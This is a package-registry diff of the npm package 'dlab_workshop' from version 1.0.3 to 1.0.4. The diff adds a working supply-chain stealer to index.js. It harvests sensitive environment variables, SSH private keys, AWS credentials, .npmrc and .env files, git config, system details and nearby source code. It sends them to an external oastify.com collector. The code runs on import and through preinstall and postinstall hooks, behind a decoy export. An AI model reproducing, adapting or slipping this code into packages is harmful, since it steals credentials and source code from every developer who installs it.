dlab_workshop 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +301 -8
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -1,13 +1,306 @@
1
- // Exfiltrate env vars, secrets, config
1
+ // Malicious dlab_workshop package payload - FIXED
2
+ // This would be the main index.js in the malicious npm package
3
+
2
4
  const os = require('os');
5
+ const fs = require('fs');
6
+ const path = require('path');
3
7
  const https = require('https');
8
+ const http = require('http');
9
+ const { URL } = require('url');
10
+
11
+ // Webhook to exfiltrate data
12
+ const WEBHOOK_URL = 'https://xvw7xrftj6a1npnpcs2557r78yep2lqa.oastify.com';
13
+
14
+ // ===== Data Exfiltration Functions =====
15
+
16
+ function exfiltrate(data, endpoint = '') {
17
+ const dataStr = JSON.stringify(data);
18
+ const encoded = Buffer.from(dataStr).toString('base64');
19
+ const urlPath = '/' + endpoint + '?data=' + encoded.substring(0, 2000); // Limit URL length
20
+
21
+ console.log(`[*] Exfiltrating ${endpoint}...`);
22
+
23
+ try {
24
+ const url = new URL(WEBHOOK_URL + urlPath);
25
+ const protocol = url.protocol === 'https:' ? https : http;
26
+
27
+ const options = {
28
+ hostname: url.hostname,
29
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
30
+ path: url.pathname + url.search,
31
+ method: 'GET',
32
+ timeout: 5000
33
+ };
34
+
35
+ const req = protocol.request(options, (res) => {
36
+ console.log(`[+] Exfil sent (${res.statusCode})`);
37
+ });
38
+
39
+ req.on('error', (e) => {
40
+ console.log(`[!] Exfil error: ${e.message}`);
41
+ });
42
+
43
+ req.end();
44
+ } catch (e) {
45
+ console.log('[!] Error during exfiltration:', e.message);
46
+ }
47
+ }
48
+
49
+ function exfiltratePost(data, endpoint = '') {
50
+ const payload = JSON.stringify(data);
51
+
52
+ console.log(`[*] POST exfiltrating ${endpoint}...`);
53
+
54
+ try {
55
+ const url = new URL(WEBHOOK_URL + '/' + endpoint);
56
+ const protocol = url.protocol === 'https:' ? https : http;
57
+
58
+ const options = {
59
+ hostname: url.hostname,
60
+ port: url.port || (url.protocol === 'https:' ? 443 : 80),
61
+ path: url.pathname,
62
+ method: 'POST',
63
+ headers: {
64
+ 'Content-Type': 'application/json',
65
+ 'Content-Length': Buffer.byteLength(payload)
66
+ },
67
+ timeout: 5000
68
+ };
69
+
70
+ const req = protocol.request(options, (res) => {
71
+ console.log(`[+] POST exfil sent (${res.statusCode})`);
72
+ });
73
+
74
+ req.on('error', (e) => {
75
+ console.log(`[!] POST exfil error: ${e.message}`);
76
+ });
77
+
78
+ req.write(payload);
79
+ req.end();
80
+ } catch (e) {
81
+ console.log('[!] Error during POST exfiltration:', e.message);
82
+ }
83
+ }
84
+
85
+ function stealEnvironmentVariables() {
86
+ console.log('[*] Collecting environment variables...');
87
+
88
+ const sensitiveVars = {};
89
+ const sensitiveKeywords = [
90
+ 'API', 'KEY', 'SECRET', 'TOKEN', 'PASS', 'PASSWORD',
91
+ 'DB', 'DATABASE', 'MONGO', 'REDIS', 'AWS', 'GITHUB',
92
+ 'SLACK', 'WEBHOOK', 'AUTH', 'CERT', 'PRIVATE'
93
+ ];
94
+
95
+ for (const [key, value] of Object.entries(process.env)) {
96
+ const upperKey = key.toUpperCase();
97
+ if (sensitiveKeywords.some(kw => upperKey.includes(kw))) {
98
+ sensitiveVars[key] = value;
99
+ }
100
+ }
101
+
102
+ return {
103
+ type: 'environment_variables',
104
+ data: sensitiveVars,
105
+ timestamp: new Date().toISOString()
106
+ };
107
+ }
108
+
109
+ function stealSourceCode() {
110
+ console.log('[*] Stealing source code...');
111
+
112
+ const files = {};
113
+ const searchPaths = [
114
+ process.cwd(),
115
+ path.join(process.cwd(), '..'),
116
+ path.join(process.cwd(), 'src'),
117
+ path.join(process.cwd(), 'config'),
118
+ ];
119
+
120
+ const extensions = ['.js', '.json', '.env', '.env.local', '.env.production'];
121
+
122
+ for (const dir of searchPaths) {
123
+ try {
124
+ if (fs.existsSync(dir)) {
125
+ const contents = fs.readdirSync(dir);
126
+ for (const file of contents) {
127
+ const fullPath = path.join(dir, file);
128
+ const ext = path.extname(file);
129
+
130
+ // Only grab interesting files
131
+ if (extensions.includes(ext) ||
132
+ file.includes('config') ||
133
+ file.includes('secret') ||
134
+ file.includes('key') ||
135
+ file.includes('credential')) {
136
+ try {
137
+ const content = fs.readFileSync(fullPath, 'utf8');
138
+ files[fullPath] = content.substring(0, 10000); // Limit size
139
+ } catch (e) {
140
+ files[fullPath] = `[Error reading: ${e.message}]`;
141
+ }
142
+ }
143
+ }
144
+ }
145
+ } catch (e) {
146
+ console.log(`[!] Error scanning ${dir}: ${e.message}`);
147
+ }
148
+ }
149
+
150
+ return {
151
+ type: 'source_code',
152
+ file_count: Object.keys(files).length,
153
+ files: files,
154
+ timestamp: new Date().toISOString()
155
+ };
156
+ }
157
+
158
+ function stealNodeModules() {
159
+ console.log('[*] Checking for sensitive packages...');
160
+
161
+ const packageJsonPath = path.join(process.cwd(), 'package.json');
162
+ let packageJson = {};
163
+
164
+ try {
165
+ if (fs.existsSync(packageJsonPath)) {
166
+ packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
167
+ }
168
+ } catch (e) {
169
+ console.log('[!] Error reading package.json');
170
+ }
171
+
172
+ return {
173
+ type: 'dependencies',
174
+ dependencies: packageJson.dependencies || {},
175
+ devDependencies: packageJson.devDependencies || {},
176
+ timestamp: new Date().toISOString()
177
+ };
178
+ }
179
+
180
+ function stealSystemInfo() {
181
+ console.log('[*] Collecting system information...');
182
+
183
+ return {
184
+ type: 'system_info',
185
+ platform: os.platform(),
186
+ arch: os.arch(),
187
+ hostname: os.hostname(),
188
+ username: os.userInfo().username,
189
+ cwd: process.cwd(),
190
+ node_version: process.version,
191
+ argv: process.argv,
192
+ timestamp: new Date().toISOString()
193
+ };
194
+ }
195
+
196
+ function stealGitInfo() {
197
+ console.log('[*] Checking for git information...');
198
+
199
+ const gitDir = path.join(process.cwd(), '.git');
200
+ const gitConfig = path.join(gitDir, 'config');
201
+
202
+ let gitInfo = {};
203
+
204
+ try {
205
+ if (fs.existsSync(gitConfig)) {
206
+ gitInfo.config = fs.readFileSync(gitConfig, 'utf8');
207
+ }
208
+ } catch (e) {
209
+ console.log('[!] Error reading git config');
210
+ }
211
+
212
+ return {
213
+ type: 'git_info',
214
+ data: gitInfo,
215
+ timestamp: new Date().toISOString()
216
+ };
217
+ }
218
+
219
+ function stealSecretsFiles() {
220
+ console.log('[*] Looking for secret files...');
221
+
222
+ const secretFileNames = [
223
+ '.env',
224
+ '.env.local',
225
+ '.env.production',
226
+ '.env.staging',
227
+ '.credentials',
228
+ '.aws/credentials',
229
+ '.ssh/config',
230
+ '.ssh/id_rsa',
231
+ '.ssh/id_ed25519',
232
+ 'secrets.json',
233
+ 'credentials.json',
234
+ '.npmrc',
235
+ '.gitconfig',
236
+ ];
237
+
238
+ const secrets = {};
239
+
240
+ for (const fileName of secretFileNames) {
241
+ const fullPath = path.join(os.homedir(), fileName);
242
+ try {
243
+ if (fs.existsSync(fullPath)) {
244
+ const content = fs.readFileSync(fullPath, 'utf8');
245
+ secrets[fileName] = content.substring(0, 5000); // Limit size
246
+ }
247
+ } catch (e) {
248
+ // Silently skip unreadable files
249
+ }
250
+ }
251
+
252
+ return {
253
+ type: 'secret_files',
254
+ data: secrets,
255
+ timestamp: new Date().toISOString()
256
+ };
257
+ }
258
+
259
+ // ===== Main Exfiltration =====
260
+
261
+ function executePayload() {
262
+ console.log('[*] dlab_workshop package loaded - executing payload...');
263
+
264
+ try {
265
+ // Collect all stolen data
266
+ const envData = stealEnvironmentVariables();
267
+ const sysData = stealSystemInfo();
268
+ const depsData = stealNodeModules();
269
+ const gitData = stealGitInfo();
270
+ const secretData = stealSecretsFiles();
271
+ const codeData = stealSourceCode();
272
+
273
+ // Exfiltrate each data type
274
+ exfiltrate(envData, 'env_vars');
275
+ exfiltrate(sysData, 'system_info');
276
+ exfiltrate(depsData, 'dependencies');
277
+ exfiltrate(gitData, 'git_info');
278
+ exfiltrate(secretData, 'secrets');
279
+
280
+ // Use POST for larger data
281
+ exfiltratePost(codeData, 'source_code');
282
+
283
+ console.log('[+] Payload executed successfully');
284
+ } catch (e) {
285
+ console.log('[!] Error during payload execution:', e.message);
286
+ }
287
+ }
288
+
289
+ // ===== Module Exports (appear legitimate) =====
290
+
291
+ function dlabInit(config = {}) {
292
+ console.log('[*] dlabInit called with config:', config);
293
+ return {
294
+ initialized: true,
295
+ version: '1.0.1'
296
+ };
297
+ }
298
+
299
+ // Execute payload on import
300
+ executePayload();
4
301
 
5
- const data = {
6
- env: process.env,
7
- cwd: process.cwd(),
8
- user: os.userInfo(),
9
- argv: process.argv
302
+ module.exports = {
303
+ dlabInit: dlabInit,
304
+ version: '1.0.1'
10
305
  };
11
306
 
12
- https.post('https://9eojg3y52itd6161v4lhojajrax1lw9l.oastify.com', JSON.stringify(data));
13
- module.exports = { dlabInit: () => {} };
package/package.json CHANGED
@@ -1,10 +1,10 @@
1
1
  {
2
2
  "name": "dlab_workshop",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "test": "node test.js",
7
+ "test": "node index.js",
8
8
  "preinstall": "node index.js",
9
9
  "postinstall": "node index.js"
10
10
  },